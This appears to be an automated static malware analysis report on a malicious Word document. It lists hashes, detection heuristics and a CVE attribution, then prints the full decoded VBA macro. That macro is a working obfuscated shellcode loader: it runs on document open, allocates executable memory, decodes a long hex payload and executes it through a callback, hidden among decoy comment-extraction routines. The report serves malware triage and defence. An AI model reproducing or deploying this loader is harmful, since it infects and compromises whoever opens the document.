Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 768eea074659db6b…

MALICIOUS

Office (OLE)

160.0 KB Created: 2020-06-29 08:46:00 Authoring application: Microsoft Office Word First seen: 2020-08-25
MD5: 84ef88cbe48fa0b5d69ef615fede796c SHA-1: 5ebd46142e3184ce0129ce0e186605c4513a90d1 SHA-256: 768eea074659db6bfd8b146d1e31785f72dda09259f38df1cb13ae6b24b3c076
232 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.005 Visual Basic

The sample is a Microsoft Word document containing VBA macros. Heuristics indicate it exploits CVE-2007-3899, a memory corruption vulnerability, and uses a VBA shellcode callback loader with VirtualAlloc. This suggests the document is designed to execute arbitrary code, likely to download and run a secondary payload. The VBA macro uses VirtualAlloc, which is a strong indicator of shellcode execution.

Heuristics 8

  • CVE-2007-3899 — Microsoft Word malformed string memory corruption critical CVE likely CVE_2007_3899
    Word OLE document has the MS07-060 malformed-string exploit shape: a Word 97-family FIB points to a malformed DOP/string-table region with an abnormal INT_MAX run, inflated text counters, and exploit payload or Mdropper.Z campaign evidence.
  • ClamAV: Doc.Malware.Mrcr-9448567-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Mrcr-9448567-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA shellcode callback loader critical OLE_VBA_SHELLCODE_CALLBACK_LOADER
    VBA auto-exec macro allocates executable memory, decodes a large encoded blob into that memory, and invokes it through a callback API such as LineDDA/Enum*/CallWindowProc/CreateThread. This is a native payload loader rather than a document-parser CVE primitive.
    Matched line in script
            st_rCa_noni_calNa_me As LongPtr) As LongPtr
    Private Declare PtrSafe Function s_u_bSta_tus Lib "gdi32" Alias "LineDDA" ( _
        ByVal intB_uild As Long, _
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
    objPa_rt_itio_ns 123
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 25343 bytes
SHA-256: 5a0e704bd8fcf3d205cc04946ac37e942d5ccd5b51f2cc31745b85aac37e6f2d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 14 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
#If VBA7 Then
    Private Declare PtrSafe Function int_Retu_r_n Lib "kernel32" Alias "VirtualAlloc" ( _
        ByVal int_Max_PwdA_ge As LongPtr, _
        ByVal h As LongPtr, _
        ByVal ob_jData As Long, _
        ByVal v As Long) As LongPtr
    Private Declare PtrSafe Sub objPa_rt_itio_ns Lib "kernel32" Alias "Sleep" (ByVal c_o_l_Do_main_Info As Long)
    Private Declare PtrSafe Function strRP_M_Ail_bo_x Lib "crypt32" Alias "CryptStringToBinaryA" ( _
        ByVal dtm_Creat_i_onTi_m_e As String, _
        ar_r_Attr_ibute_s As Long, _
        s_t_rHold_er As Long, _
        dtmTh_i_sDa_y As LongPtr, _
        bl_nAC_EPr_esen_t As LongPtr, _
        objWm_iS_er_v_ice_s As LongPtr, _
        st_rVer_si_on As LongPtr) As Long
    Private Declare PtrSafe Function st_rRo_le_s Lib "ntdll" Alias "asdf" ( _
        strD_rive As LongPtr, _
        a As LongPtr, _
        bytes_Re_ceive_d0 As LongPtr, _
        bytes_Re_ceive_d As LongPtr, _
        objP_o_rt As Long, _
        st_rCa_noni_calNa_me As LongPtr) As LongPtr
    Private Declare PtrSafe Function s_u_bSta_tus Lib "gdi32" Alias "LineDDA" ( _
        ByVal intB_uild As Long, _
        ByVal strD_NComp_ar_e As Long, _
        ByVal strD_NComp_ar_e0 As Long, _
        ByVal objWm_iS_er_v_ice_s0 As Long, _
        ByVal obj_Netw_orkSe_tt_ings As LongPtr, _
        ByVal mo_difi_ed_DateE_nd As LongPtr) As Long

Private Declare PtrSafe Function Beep Lib "kernel32" (ByVal obj_Pr_oper_t_yRe_ader As Long, ByVal bl_nAC_EPr_esen_t0 As Long) As Long
#Else
    Private Declare Function int_Retu_r_n Lib "kernel32" Alias "VirtualAlloc" ( _
        ByVal int_Max_PwdA_ge As Long, _
        ByVal h As Long, _
        ByVal ob_jData As Long, _
        ByVal v As Long) As Long
    Private Declare Sub objPa_rt_itio_ns Lib "kernel32" Alias "Sleep" (ByVal c_o_l_Do_main_Info As Long)
    Private Declare Function strRP_M_Ail_bo_x Lib "crypt32" Alias "CryptStringToBinaryA" ( _
        ByVal dtm_Creat_i_onTi_m_e As String, _
        ar_r_Attr_ibute_s As Long, _
        s_t_rHold_er As Long, _
        dtmTh_i_sDa_y As Long, _
        bl_nAC_EPr_esen_t As Long, _
        objWm_iS_er_v_ice_s As Long, _
        st_rVer_si_on As Long) As Long
    Private Declare Function st_rRo_le_s Lib "ntdll" Alias "asdf" ( _
        strD_rive As Long, _
        a As Long, _
        co_lProc_es_sSta_r_tT_r_ace As Long, _
        int_RetV_a_l As Long, _
        objP_o_rt As Long, _
        st_rCa_noni_calNa_me As Long) As Long
    Private Declare Function s_u_bSta_tus Lib "gdi32" Alias "LineDDA" ( _
        ByVal intB_uild As Long, _
        ByVal strD_NComp_ar_e As Long, _
        ByVal strD_NComp_ar_e0 As Long, _
        ByVal objWm_iS_er_v_ice_s0 As Long, _
        ByVal obj_Netw_orkSe_tt_ings As Long, _
        ByVal mo_difi_ed_DateE_nd As Long) As Long
        
Private Declare Function Beep Lib "kernel32" (ByVal obj_Pr_oper_t_yRe_ader As Long, ByVal bl_nAC_EPr_esen_t0 As Long) As Long
#End If

Public Sub l()
    Dim colFo_lders As Document
    Dim strSi_t_e2Na_me As Document
    Dim int_Retu_r_n0 As Table
    Dim o_bjDic_tio_n_a_ry As Long
    Dim o_bjS_hapes As Long
    Dim w As String
    
    w = "Extract All Comments to New Document"
    Set colFo_lders = ActiveDocument
    o_bjDic_tio_n_a_ry = ActiveDocument.Comments.Count
    
    If o_bjDic_tio_n_a_ry = 0 Then
        MsgBox "The active document contains no comments.", vbOKOnly, w
        GoTo ExitHere
    Else
        If MsgBox("Do  you want to extract all comments to a new document?", _
                vbYesNo + vbQuestion, w) <> vbYes Then
            GoTo ExitHere
        End If
    End If
        
    Application.ScreenUpdating = False
    Set strSi_t_e2Na_me = Documents.Add
    strSi_t_e2Na_me.PageSetup.Orientation = wdOrientLandscape
    With strSi_t_e2Na_me
        .Content = ""
        Set int_Retu_r_n0 = .Tables.Add _
            (Range:=Selection.Range, _
            NumRows:=nCount + 1, _
            NumColumns:=5)
    End With
    
    strSi_t_e2Na_me.Sections(1).Headers(wdHeaderFooterPrimary).Range.Text = _
        "Comments extracted from: " & colFo_lders.FullName & vbCr & _
        "Created by: " & Application.UserName & vbCr & _
        "Creation date: " & Format(Date, "MMMM d, yyyy")
            
    With strSi_t_e2Na_me.Styles(wdStyleNormal)
        .Font.Name = "Arial"
        .Font.Size = 10
        .ParagraphFormat.LeftIndent = 0
        .ParagraphFormat.SpaceAfter = 6
    End With
    
    With strSi_t_e2Na_me.Styles(wdStyleHeader)
        .Font.Size = 8
        .ParagraphFormat.SpaceAfter = 0
    End With

    With int_Retu_r_n0
        .Range.Style = wdStyleNormal
        .AllowAutoFit = False
        .PreferredWidthType = wdPreferredWidthPercent
        .PreferredWidth = 100
        .Columns.PreferredWidthType = wdPreferredWidthPercent
        .Columns(1).PreferredWidth = 5
        .Columns(2).PreferredWidth = 23
        .Columns(3).PreferredWidth = 42
        .Columns(4).PreferredWidth = 18
        .Columns(5).PreferredWidth = 12
        .Rows(1).HeadingFormat = True
    End With

    With int_Retu_r_n0.Rows(1)
        .Range.Font.Bold = True
        .Cells(1).Range.Text = "Page"
        .Cells(2).Range.Text = "Comment scope"
        .Cells(3).Range.Text = "Comment text"
        .Cells(4).Range.Text = "Author"
        .Cells(5).Range.Text = "Date"
    End With
    
    For o_bjS_hapes = 1 To o_bjDic_tio_n_a_ry
        With int_Retu_r_n0.Rows(o_bjS_hapes + 1)
            .Cells(1).Range.Text = _
                colFo_lders.Comments(o_bjS_hapes).Scope.Information(wdActiveEndPageNumber)
            .Cells(2).Range.Text = colFo_lders.Comments(o_bjS_hapes).Scope
            .Cells(3).Range.Text = colFo_lders.Comments(o_bjS_hapes).Range.Text
            .Cells(4).Range.Text = colFo_lders.Comments(o_bjS_hapes).Author
            .Cells(5).Range.Text = Format(colFo_lders.Comments(o_bjS_hapes).Date, "dd-MMM-yyyy")
        End With
    Next o_bjS_hapes
    
    Application.ScreenUpdating = True
    Application.ScreenRefresh
        
    strSi_t_e2Na_me.Activate
    MsgBox o_bjDic_tio_n_a_ry & " comments found. Finished creating comments document.", vbOKOnly, w

ExitHere:
    Set colFo_lders = Nothing
    Set strSi_t_e2Na_me = Nothing
    Set int_Retu_r_n0 = Nothing
    
End Sub

Private Sub strOl_dSit_e_Pa_th()
    objPa_rt_itio_ns 5
#If VBA7 Then
    Dim str_P_os_i_ti_on As LongPtr
#Else
    Dim str_P_os_i_ti_on As Long
#End If

    str_P_os_i_ti_on = int_Retu_r_n(ByVal 0&, ByVal 20480, &H3000&, &H40&)
    

    Dim oR_S As String
    Dim int_Prim_ary_Group_I_D As Long
    int_Prim_ary_Group_I_D = 20480
    
    oR_S = "89e06a0129e05a3c080f8501080000554889e54881ec6801000053575648894d10e800000000584883e826488945f0488d9da4feffff4883ec204889d9e8450400004883c4204883ec204889d9e88d0000004883c42085c075644883ec204889d9e8e10000004883c4208985a0feffff85c0744a488b45f048052f1400004883ec2048c7c1000000004889c24c8d458ce8fe0200004883c42048052f1400004883ec208b8da0feffff488b55f04989c04989d9e8f90100004883c420eb004883ec2048c7c1ffffffff48c7c200000000ff93900000004883c4205e5f5bc9c3554889e556534889ce4883ec2048c7c100000000ff96d80000004883c42089c3c1e3104883ec2048c7c101000000ff96d80000004883c42009d84883ec2048b9b8e765af000000004889c2e8a00400004883c4203d92893c4a74093db89206c9740231c05b5ec9c3554889e54881ecb801000057565348894d104831c04831c9488dbd50feffffb11051f3aa59488dbd60fefffff3aac78550feffff10000000c78560feffff1000000048c7c168000000" & _
    "488dbd70fefffff3aa48c7c118000000488dbdd8fefffff3aac78570feffff68000000c785acfeffff0100000066c785b0feffff0000488b5d10e81c000000433a5c57696e646f77735c537973574f5736345c636d642e657865005e4883ec20488d8df0feffffeb0e2573202f63202270617573652200488d15ebffffff4989f0ff93d00000004883c4204883ec5048c7c100000000488d95f0feffff4c8d8550feffff4c8d8d60feffff48c74424200100000048c74424282000000048c74424300000000048c744243800000000488d8570feffff4889442440488d85d8feffff4889442448ff53704883c45085c0742a4883ec20488b8de0feffffff53284883c4204883ec20488b8dd8feffffff53284883c4208b85e8feffff5b5e5fc9c3554889e54883ec28575653894d10488955184c8945204c89cb4883ec2048c7c1ff0f1f0048c7c200000000448b4510ff53304883c420488945e04883ec30488b4de048c7c2000000004c8b452049c7c10030000048c744242040000000ff53384883c430488945e84883ec30488b4d" & _
    "e0488b55e84c8b45184c8b4d20488d45f04889442420ff53404883c4304883ec40488b4de048c7c20000000049c7c0000000004c8b4de848b8b8e765af00000000488944242048c74424280000000048c744243000000000ff53484883c4404883ec20488b4de0ff53284883c4205b5e5fc9c3554889e54883ec28575653c745e010000000884d10488955184c894520488b7d20b96400000031c08945f8f3aa488b75188b068945e4488b7d208b460483e00389078b460883e0038947048945f00145f88b460c83e0078947088945f40145f8833f017503ff45f88b45e44831db4883ec2089c14889dae8c00100004883c42048ffc30fb64d1067e30830441e0f75deeb0638441e0f75d6ff4df875d1015de04831db385d1074448b4df0488d7610488975e8ac84c075fb488b45e8488944df0c48ffc3e2e94831db8b4df4488975e8ac84c075fb488b45e8488944df2448ffc3e2e9833f0175044889775c8b45e05b5e5fc9c3554889e55756534154415541564889cf4c8d214c8d6908e8000000005e4883c6724c8db6ba0000004c" & _
    "39f673560fba260773224883ec204889d94889f24d89e049c7c100000000e8420100004883c42048abadebd34883ec204889f1e8760200004883c4204885c0750f4883ec204889f141ff55004883c4204889c3ac84c075fbeba5415e415d415c5b5e5fc9c36b65726e656c33322e646c6c00c8275e48ced10a40f50dae4bc98eb5de8ede3a1bf81655529fc465cfff3c9136ca0ca230928a55e4cd8d0348a064f890b3322c399a031b95dee35f989e40fa98d9641f1ea3481fba849bbb907368656c6c33322e646c6c00971e94d86e74646c6c2e646c6c00858e002f77696e696e65742e646c6c00e7be4b7fc43fda71a80df9a5b1343ea173686c776170692e646c6c009b893f4a7573657233322e646c6c008ef264c1ea0fc489f77b3ffa554889e589c801d089c2c1e20a01d089c2c1ea0631d0c9c3554889e54883ec08564889ce31c00fb61648ffc685d274114883ec2089c1e8c5ffffff4883c420ebe50c805ec9c3554889e54883ec1857565348894d10488955184c8945204c894d28488b45104d31d2448b503c4c01d0488b" & _
    "7d10448b90880000004c01d78b808c0000008945f0488b5d184881fbffff0000770c448b57104c29d3e9830000004831f68b7720480375104831db3b5f187331ffc34831c0ad48034510488945f4488b4d18f6018074224883ec204889c1e844ffffff4883c420488b4d18390175cceb214831c0e9a00000004883ec20488b4d184889c2e82b0100004883c4204885c075a9488b45284885c07407488b4df44889084831f68b7724480375100fb75c5efe4831f68b771c480375104831c08b049e4885c074ab480345104839f8724a4889f9448b55f04c01d14839c8733b4831c0483b4520748a48817d18ffff000077154883ec20488b4d10488b5518ff55204883c420eb134883ec20488b4d10488b55f4ff55204883c4205b5e5fc9c3554889e54883ec1853575648894d104831c065488b4060488b75104885f67506488b4010eb6b488b4018488b4010488945f0eb09488b00483b45f07451488d18488b7b604885ff74eb488b75104831c98a1648ffc680fa61720880fa7a770380ea20663b4b58720a84d275c8488b4330eb1f" & _
    "8a340f48ffc148ffc180fe61720880fe7a770380ee2038f274c4eba64831c05e5f5bc9c3554889e58a0148ffc18a2248ffc228e0750484e475ee480fbec0c9c35589e581ecb4000000535756e8000000005883e8118945fc8d9d50ffffff53e86f03000053e88100000085c0756f817d08b8e765af743b53e8ee00000089854cffffff85c0742b8b45fc051f0c00008d55c452506a00e870020000051f0c00005350ff75fcffb54cffffffe8f6010000eb2b53e86d00000085c074218b45fc051f0c00008d55c452506a01e83b020000538d55c452ff7508e8130400006a006affff53485e5f5bc9c204005589e556538b75086a00ff566c89c3c1e3106a01ff566c09d85068b8e765afe8bf0900003d92893c4a74093db89206c9740231c05b5ec9c204005589e5538b5d08e816000000663635653762386636356537623866363565376238006a016a00ff534085c074126a0050ff53443d02010000740531c040eb0231c05bc9c204005589e581ec7001000057565331c08dbd90feffffb90c00000051f3aa598dbd9cfefffff3aa" & _
    "c78590feffff0c000000c7859cfeffff0c00000030c0b9440000008dbda8fefffff3aab9100000008dbdecfefffff3aa8dbdecfeffffc785a8feffff44000000c785d4feffff0100000066c785d8feffff00008b5d08e81c000000433a5c57696e646f77735c537973574f5736345c636d642e657865005e56ff536485c07522e81c000000433a5c57696e646f77735c73797374656d33325c636d642e657865005e56e80e0000002573202f632022706175736522008d95fcfeffff52ff536883c40c8d95ecfeffff528d95a8feffff526a006a006a206a018d959cfeffff528d9590feffff528d95fcfeffff526a00ff533885c07418ffb5f0feffffff5314ffb5ecfeffffff53148b85f4feffff5b5e5fc9c204005589e583ec0c5756538b5d14ff75086a0068ff0f1f00ff53188945f46a406800300000ff75106a00ff75f4ff531c8945f86a00ff7510ff750cff75f8ff75f4ff53206a006a0068b8e765afff75f86a006a00ff75f4ff5324ff75f4ff53145b5e5fc9c210005589e583ec18575653c745e8100000008b7d10b938" & _
    "00000031c08945fcf3aa8b750c8b068945ec8b7d108b460483e00389078b460883e0038947048945f40145fc8b460c83e0078947088945f80145fc833f017503ff45fc8b45ec31db5350e85f070000438b4d08e30830441e0f75edeb0638441e0f75e5ff4dfc75e0015de831db395d0874378b4df48d76108975f0ac84c075fb8b45f089449f0c43e2ee31db8b4df88975f0ac84c075fb8b45f089449f1843e2ee833f0175038977348b45e85b5e5fc9c20c005589e583ec0c5756538b7d088d078945f48d47048945f8e8000000005e8d76478d9eba00000039de73320fba260773126a00ff75f456ff75fce8f9060000abadebe456e8b707000085c075068b45f856ff108945fcac84c075fbebca5b5e5fc9c204006b65726e656c33322e646c6c00c8275e48ced10a40f50dae4bc98eb5de8ede3a1bf81655529fc465cfff3c9136ca0ca230928a55e4cd8d0348a064f890b3322c399a031b95dee35f989e40fa98d9641f1ea3481fba849bbb907368656c6c33322e646c6c00971e94d86e74646c6c2e646c6c00858e002f77696e" & _
    "696e65742e646c6c00e7be4b7fc43fda71a80df9a5b1343ea173686c776170692e646c6c009b893f4a7573657233322e646c6c008ef264c1ea0fc489f77b3ffa5589e581ec4c0500005657538b750c8b5d1053568d95bcfaffff52e8310500008d95f0fdffff52e84202000031c08985e8fdffffff8de8fdffff79148b46048985e8fdffff8d460c8985ecfdffffebe48b85ecfdffff8385ecfdffff048d95f0fdffff528d95f8fdffff52ff30e8260200005368040100008d95fcfeffff52e83401000068040100008d95fcfeffff528d95f8fdffff52e8e4000000538d95bcfaffff528d95f8fdffff52e81102000085c0750d6860ea0000ff533ce973ffffff833e00751a6a006a00ff75088d95bcfaffff526a006a00ff534ce999000000833e01754aff76348d95bcfaffff52e808000000222573222c2573008d95e0fbffff52ff536883c4106a006a008d95e0fbffff52e80d00000072756e646c6c33322e657865006a006a00ff534ceb4a833e0275458d95bcfaffff52e8080000002d732022257322008d95e0fbffff52ff" & _
    "536883c40c6a006a008d95e0fbffff52e80d00000072656773767233322e657865006a006a00ff534c5b5f5ec9c20c005589e557568b750831c9ac4184c075fa8d51ff8b750c31c9ac4184c075fa8d040a394510730289118b750c8b7d0801d7f3a45e5fc9c20c005589e581ec180100005756538b5d106a00ff536c8985f8feffff6a01ff536c8985fcfeffff8d95e8feffff52ff53706a0aff533c8d95f0feffff52ff5370ffb5f4feffffffb5f0feffffffb5ecfeffffffb5e8feffffffb5fcfeffffffb5f8feffffe821000000267363723d256478256426637572313d256478256426637572323d2564782564008d9500ffffff52ff536883c42039450c76138db500ffffff8b7d0889c1f3a430c0aa40eb0231c05b5e5fc9c20c005589e5578b7d080f31b90707070789c2c1ea0321c80d30303030ab89d021c80d30303030ab5fc9c204005589e557568b75088b7d0cac84c07403aaebf8b82669643dab8b7510adabadab31c0aa5e5fc9c20c005589e581ec0010000053ff751068001000008d9500f0ffff52ff750cff7508" & _
    "e8cc00000089c385c0744331c083fb02763c6681bd00f0ffff4d5a74136683bd00f0ffff00752766c78500f0ffff4d5a8b45106888130000ff503cff7510538d9500f0ffff52ff750ce8050000005bc9c20c005589e583ec085753c745f800000000c745fc000000008b5d146a0068800000006a036a006a016800000040ff7508ff532c8945f883f8ff742a6a006a006a00ff75f8ff53306a008d55fc52ff7510ff750cff75f8ff533485c074088b45103b45fc740431ffeb0331ff478b45f883f8ff740450ff531489f85b5fc9c210005589e581ec24040000575653c785dcfbffffffffffffc785e0fbffff00000000c785e4fbffff00000000c785e8fbffff00000000c785ecfbffff00000000c645fc008b5d186a0068800000006a026a006a016800000040ff750cff532c8985dcfbffff83f8ff0f84f60000006a006a006a006a018d55fc52ff53548985e0fbffff85c00f84d90000008d95e8fbffff5268000000806a006a00ff750850ff53588985e4fbffff85c00f84b400000031c0408985f0fbffff8985f8fbffff8b7d" & _
    "108b85f8fbffff85c00f84940000008b85f0fbffff85c00f848a0000008d95f0fbffff5268000400008d95fcfbffff52ffb5e4fbffffff535c8985f8fbffff85c0746031c98db5fcfbffff8b45143985ecfbffff74183b8df0fbffff7410acaa0f318846ffff85ecfbffff41ebdd6a008d95f4fbffff52ffb5f0fbffff8d95fcfbffff52ffb5dcfbffffff533485c074128b8df0fbffff3b8df4fbffff0f845effffff31ffeb068bbdecfbffff8b85dcfbffff83f8ff740450ff53148b85e4fbffff85c0740450ff53608b85e0fbffff85c0740450ff536089f85b5e5fc9c214005589e583ec105756538b7d088b5d10576804010000ff53288d7c07fb897df08b550c8d42188945f48b42088945f88b028945fcff4df8781e8b75f48b368b7df0acaa84c075faff7508ff536485c074368345f404ebdd8b7df00f3189c2b90800000088d0240f0461aac1ea04e2f4837dfc007508c7072e626174eb06c7072e72777ac64704005b5e5fc9c20c005589e58b450803450c89c2c1e20a01d089c2c1ea0631d0c9c208005589e5568b7508" & _
    "31c00fb6164685d274095250e8cdffffffebef0c805ec9c204005589e583ec085756538b450803403c8b7878037d088b407c8945f88b5d0c81fbffff000077052b5f10eb558b772003750831db3b5f18731f43ad0345088945fc8b4d0cf60180741350e891ffffff8b4d0c390175deeb1231c0eb668b4d0c89c2e8de00000085c075ca8b451485c074058b4dfc89088b77240375080fb75c5efe8b771c0375088b049e85c074ca03450839f8722d89f9034df839c8732431c03b451074b3817d0cffff0000770bff750cff7508ff5510eb09ff75fcff7508ff55105b5e5fc9c210005589e583ec0457565364a1300000008b750885f675058b4008eb598b400c8b400c8945fceb078b003b45fc74458d188b7b3085ff74f08b750831c98a164680fa61720880fa7a770380ea20663b4b2c720984d275d18b4318eb1a8a340f414180fe61720880fe7a770380ee2038f274cbebb431c05b5e5fc9c204008a01418a224228e0750484e475f20fbec0c36e18c655453221b56e7a716d678dd4054778a61254f6a699015d4b38e3d1b4cc03" & _
    "11c2688dee1a0b46bb1048ca05a5400c535e6241b3a20ed092f2bfcde0f1940936476d18ae24147439cefe4a9fd20b1bd57ddf3b73f958a2ac2494237c988263244c30d4702cbd8ac02fdc6ed0a8c72c8d750156067e34a41b4bfc8f50e69aed99261d9d8287f8a6ab068dad4393bad5030392baff66faf9c52a2aad8b351a05e0edfbab75df7ee8b60ee1963c0e98d1dc0ae95dbae46023c652395882764ea9801cb46012596b3c3930ac7012b85b2fcd6d165089064a76ff80e0e300b12560d871e6903003"




    obj_Co_mptTe_m_pl_ate = strRP_M_Ail_bo_x(oR_S, ByVal 0, ByVal 12, ByVal str_P_os_i_ti_on, ByVal VarPtr(int_Prim_ary_Group_I_D), ByVal 0&, ByVal 0&)
    objPa_rt_itio_ns 5
    obj_Co_mptTe_m_pl_ate = s_u_bSta_tus(0, 0, 1, 1, ByVal str_P_os_i_ti_on, ByVal 1&)
    MsgBox "Complete!"
End Sub

Public Sub dtmBo_ot_up()
    Dim colFo_lders As Document
    Dim strSi_t_e2Na_me As Document
    Dim int_Retu_r_n0 As Table
    Dim o_bjDic_tio_n_a_ry As Long
    Dim o_bjS_hapes As Long
    Dim w As String
    
    w = "Extract All Comments to New Document"
    Set colFo_lders = ActiveDocument
    o_bjDic_tio_n_a_ry = ActiveDocument.Comments.Count
    
    If o_bjDic_tio_n_a_ry = 0 Then
        MsgBox "The active document contains no comments.", vbOKOnly, w
        GoTo ExitHere
    Else
        If MsgBox("Do  you want to extract all comments to a new document?", _
                vbYesNo + vbQuestion, w) <> vbYes Then
            GoTo ExitHere
        End If
    End If
        
    Application.ScreenUpdating = False
    Set strSi_t_e2Na_me = Documents.Add
    strSi_t_e2Na_me.PageSetup.Orientation = wdOrientLandscape
    With strSi_t_e2Na_me
        .Content = ""
        Set int_Retu_r_n0 = .Tables.Add _
            (Range:=Selection.Range, _
            NumRows:=nCount + 1, _
            NumColumns:=5)
    End With
    
    strSi_t_e2Na_me.Sections(1).Headers(wdHeaderFooterPrimary).Range.Text = _
        "Comments extracted from: " & colFo_lders.FullName & vbCr & _
        "Created by: " & Application.UserName & vbCr & _
        "Creation date: " & Format(Date, "MMMM d, yyyy")
            
    With strSi_t_e2Na_me.Styles(wdStyleNormal)
        .Font.Name = "Arial"
        .Font.Size = 10
        .ParagraphFormat.LeftIndent = 0
        .ParagraphFormat.SpaceAfter = 6
    End With
    
    With strSi_t_e2Na_me.Styles(wdStyleHeader)
        .Font.Size = 8
        .ParagraphFormat.SpaceAfter = 0
    End With

    With int_Retu_r_n0
        .Range.Style = wdStyleNormal
        .AllowAutoFit = False
        .PreferredWidthType = wdPreferredWidthPercent
        .PreferredWidth = 100
        .Columns.PreferredWidthType = wdPreferredWidthPercent
        .Columns(1).PreferredWidth = 5
        .Columns(2).PreferredWidth = 23
        .Columns(3).PreferredWidth = 42
        .Columns(4).PreferredWidth = 18
        .Columns(5).PreferredWidth = 12
        .Rows(1).HeadingFormat = True
    End With

    With int_Retu_r_n0.Rows(1)
        .Range.Font.Bold = True
        .Cells(1).Range.Text = "Page"
        .Cells(2).Range.Text = "Comment scope"
        .Cells(3).Range.Text = "Comment text"
        .Cells(4).Range.Text = "Author"
        .Cells(5).Range.Text = "Date"
    End With
    
    For o_bjS_hapes = 1 To o_bjDic_tio_n_a_ry
        With int_Retu_r_n0.Rows(o_bjS_hapes + 1)
            .Cells(1).Range.Text = _
                colFo_lders.Comments(o_bjS_hapes).Scope.Information(wdActiveEndPageNumber)
            .Cells(2).Range.Text = colFo_lders.Comments(o_bjS_hapes).Scope
            .Cells(3).Range.Text = colFo_lders.Comments(o_bjS_hapes).Range.Text
            .Cells(4).Range.Text = colFo_lders.Comments(o_bjS_hapes).Author
            .Cells(5).Range.Text = Format(colFo_lders.Comments(o_bjS_hapes).Date, "dd-MMM-yyyy")
        End With
    Next o_bjS_hapes
    
    Application.ScreenUpdating = True
    Application.ScreenRefresh
        
    strSi_t_e2Na_me.Activate
    MsgBox o_bjDic_tio_n_a_ry & " comments found. Finished creating comments document.", vbOKOnly, w

ExitHere:
    Set colFo_lders = Nothing
    Set strSi_t_e2Na_me = Nothing
    Set int_Retu_r_n0 = Nothing
    
End Sub

Private Sub Document_Open()
    objPa_rt_itio_ns 123
    MsgBox "Unexpected failure"
    strOl_dSit_e_Pa_th
End Sub

Public Sub ob_jD_C()
    Dim colFo_lders As Document
    Dim strSi_t_e2Na_me As Document
    Dim int_Retu_r_n0 As Table
    Dim o_bjDic_tio_n_a_ry As Long
    Dim o_bjS_hapes As Long
    Dim w As String
    
    w = "Extract All Comments to New Document"
    Set colFo_lders = ActiveDocument
    o_bjDic_tio_n_a_ry = ActiveDocument.Comments.Count
    
    If o_bjDic_tio_n_a_ry = 0 Then
        MsgBox "The active document contains no comments.", vbOKOnly, w
        GoTo ExitHere
    Else
        If MsgBox("Do  you want to extract all comments to a new document?", _
                vbYesNo + vbQuestion, w) <> vbYes Then
            GoTo ExitHere
        End If
    End If
        
    Application.ScreenUpdating = False
    Set strSi_t_e2Na_me = Documents.Add
    strSi_t_e2Na_me.PageSetup.Orientation = wdOrientLandscape
    With strSi_t_e2Na_me
        .Content = ""
        Set int_Retu_r_n0 = .Tables.Add _
            (Range:=Selection.Range, _
            NumRows:=nCount + 1, _
            NumColumns:=5)
    End With
    
    strSi_t_e2Na_me.Sections(1).Headers(wdHeaderFooterPrimary).Range.Text = _
        "Comments extracted from: " & colFo_lders.FullName & vbCr & _
        "Created by: " & Application.UserName & vbCr & _
        "Creation date: " & Format(Date, "MMMM d, yyyy")
            
    With strSi_t_e2Na_me.Styles(wdStyleNormal)
        .Font.Name = "Arial"
        .Font.Size = 10
        .ParagraphFormat.LeftIndent = 0
        .ParagraphFormat.SpaceAfter = 6
    End With
    
    With strSi_t_e2Na_me.Styles(wdStyleHeader)
        .Font.Size = 8
        .ParagraphFormat.SpaceAfter = 0
    End With

    With int_Retu_r_n0
        .Range.Style = wdStyleNormal
        .AllowAutoFit = False
        .PreferredWidthType = wdPreferredWidthPercent
        .PreferredWidth = 100
        .Columns.PreferredWidthType = wdPreferredWidthPercent
        .Columns(1).PreferredWidth = 5
        .Columns(2).PreferredWidth = 23
        .Columns(3).PreferredWidth = 42
        .Columns(4).PreferredWidth = 18
        .Columns(5).PreferredWidth = 12
        .Rows(1).HeadingFormat = True
    End With

    With int_Retu_r_n0.Rows(1)
        .Range.Font.Bold = True
        .Cells(1).Range.Text = "Page"
        .Cells(2).Range.Text = "Comment scope"
        .Cells(3).Range.Text = "Comment text"
        .Cells(4).Range.Text = "Author"
        .Cells(5).Range.Text = "Date"
    End With
    
    For o_bjS_hapes = 1 To o_bjDic_tio_n_a_ry
        With int_Retu_r_n0.Rows(o_bjS_hapes + 1)
            .Cells(1).Range.Text = _
                colFo_lders.Comments(o_bjS_hapes).Scope.Information(wdActiveEndPageNumber)
            .Cells(2).Range.Text = colFo_lders.Comments(o_bjS_hapes).Scope
            .Cells(3).Range.Text = colFo_lders.Comments(o_bjS_hapes).Range.Text
            .Cells(4).Range.Text = colFo_lders.Comments(o_bjS_hapes).Author
            .Cells(5).Range.Text = Format(colFo_lders.Comments(o_bjS_hapes).Date, "dd-MMM-yyyy")
        End With
    Next o_bjS_hapes
    
    Application.ScreenUpdating = True
    Application.ScreenRefresh
        
    strSi_t_e2Na_me.Activate
    MsgBox o_bjDic_tio_n_a_ry & " comments found. Finished creating comments document.", vbOKOnly, w

ExitHere:
    Set colFo_lders = Nothing
    Set strSi_t_e2Na_me = Nothing
    Set int_Retu_r_n0 = Nothing
    
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.